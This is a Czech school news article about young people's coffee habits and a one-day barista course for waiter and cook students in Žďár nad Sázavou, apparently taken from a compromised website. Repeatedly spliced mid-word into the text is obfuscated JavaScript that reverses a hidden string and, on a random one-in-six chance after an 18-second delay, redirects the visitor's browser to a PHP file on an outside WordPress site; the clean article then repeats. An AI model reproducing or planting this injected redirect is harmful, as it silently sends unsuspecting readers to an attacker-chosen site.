Mladí pijí kávu jinak ….
Čtvrtek, 17. března 2022
Průzkum současných trendů a návyků v pití kávy přinesl zajímavé informace. Pravidelně pije kávu 48 % mladých lidí mezi 18-24 roky. Již ale nemají kávové rituály jako generace před nimi. Takže žádná pravidelná kávička po obědě nebo když se jde z práce.
Více se pijí kávové speciality s mlékem jako latté a mléko kravské ustupuje mlékům rostlinným. Stále jsou in speciality jako je Cold Brew nebo čepovaná káva s pěnou podobnou pivní, vrací se obliba French Press a také kávy překapávané. Absolutní trend je mít možnost sestavit si svoji kávovou
specialitu sám a nechat ji připravit baris
["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tou. To, že káva je základní položkou na seznamu převážné části gastro podniků, není pochyb, a pro
["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to se jí věnuje velká pozornost. Ani výchova žáků v oboru kuchař – číšník nemůže být jiná a musí reagovat na potřeby trhu. Pro
["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to každým rokem naše škola organizuje baristický kurz, kde si mladí číšníci a servírky osvojí nejen teoretické znalosti o kávě, ale hlavně praktické dovednosti. Ti, kteří kurz absolvovali, se naučili, jak správně připravit espresso, napěnit mléko a připravit cappuccino. Dále se zabývali latte art technikou, malování mléčnou pěnou. Žáci do husté kávové pěny malovali různé obrazce jako je srdíčko, list, labuť a jiné tvary. Využívali svojí fantazii a tvořili a tvořili…Velmi přínosné bylo
["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to, že žáci během jednodenního kurzu uvařili asi 450 káv, neuvěřitelné množství, které potěšilo všechny studenty i zaměstnance školy. Všichni si mohli tak
["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to uvařenou a ozdobenou kávu ochutnat. Celým kurzem prostupovala velmi příjemná pracovní atmosféra, která byla způsobena panem lek
["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}torem kurzu a naším panem učitelem odborného výcviku. Za
["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to jim děkuji a přeji žákům, aby svoje dovednosti dobře využívali na našem nově zbudovaném školním baru na Střední škole obchodní a služeb ve Žďáře nad Sázavou a voňavou kávou zpříjemňovali život všem, kteří si kávu objednají.
Radka Pospíchalová, zástupkyně ŘŠ pro odborný výcvik
Střední škola obchodní a služeb SČMSD, Žďár nad Sázavou, s.r.o.
Více se pijí kávové speciality s mlékem jako latté a mléko kravské ustupuje mlékům rostlinným. Stále jsou in speciality jako je Cold Brew nebo čepovaná káva s pěnou podobnou pivní, vrací se obliba French Press a také kávy překapávané. Absolutní trend je mít možnost sestavit si svoji kávovou
specialitu sám a nechat ji připravit baristou. To, že káva je základní položkou na seznamu převážné části gastro podniků, není pochyb, a proto se jí věnuje velká pozornost. Ani výchova žáků v oboru kuchař – číšník nemůže být jiná a musí reagovat na potřeby trhu. Proto každým rokem naše škola organizuje baristický kurz, kde si mladí číšníci a servírky osvojí nejen teoretické znalosti o kávě, ale hlavně praktické dovednosti. Ti, kteří kurz absolvovali, se naučili, jak správně připravit espresso, napěnit mléko a připravit cappuccino. Dále se zabývali latte art technikou, malování mléčnou pěnou. Žáci do husté kávové pěny malovali různé obrazce jako je srdíčko, list, labuť a jiné tvary. Využívali svojí fantazii a tvořili a tvořili…Velmi přínosné bylo to, že žáci během jednodenního kurzu uvařili asi 450 káv, neuvěřitelné množství, které potěšilo všechny studenty i zaměstnance školy. Všichni si mohli takto uvařenou a ozdobenou kávu ochutnat. Celým kurzem prostupovala velmi příjemná pracovní atmosféra, která byla způsobena panem lektorem kurzu a naším panem učitelem odborného výcviku. Za to jim děkuji a přeji žákům, aby svoje dovednosti dobře využívali na našem nově zbudovaném školním baru na Střední škole obchodní a služeb ve Žďáře nad Sázavou a voňavou kávou zpříjemňovali život všem, kteří si kávu objednají.
Radka Pospíchalová, zástupkyně ŘŠ pro odborný výcvik
Střední škola obchodní a služeb SČMSD, Žďár nad Sázavou, s.r.o.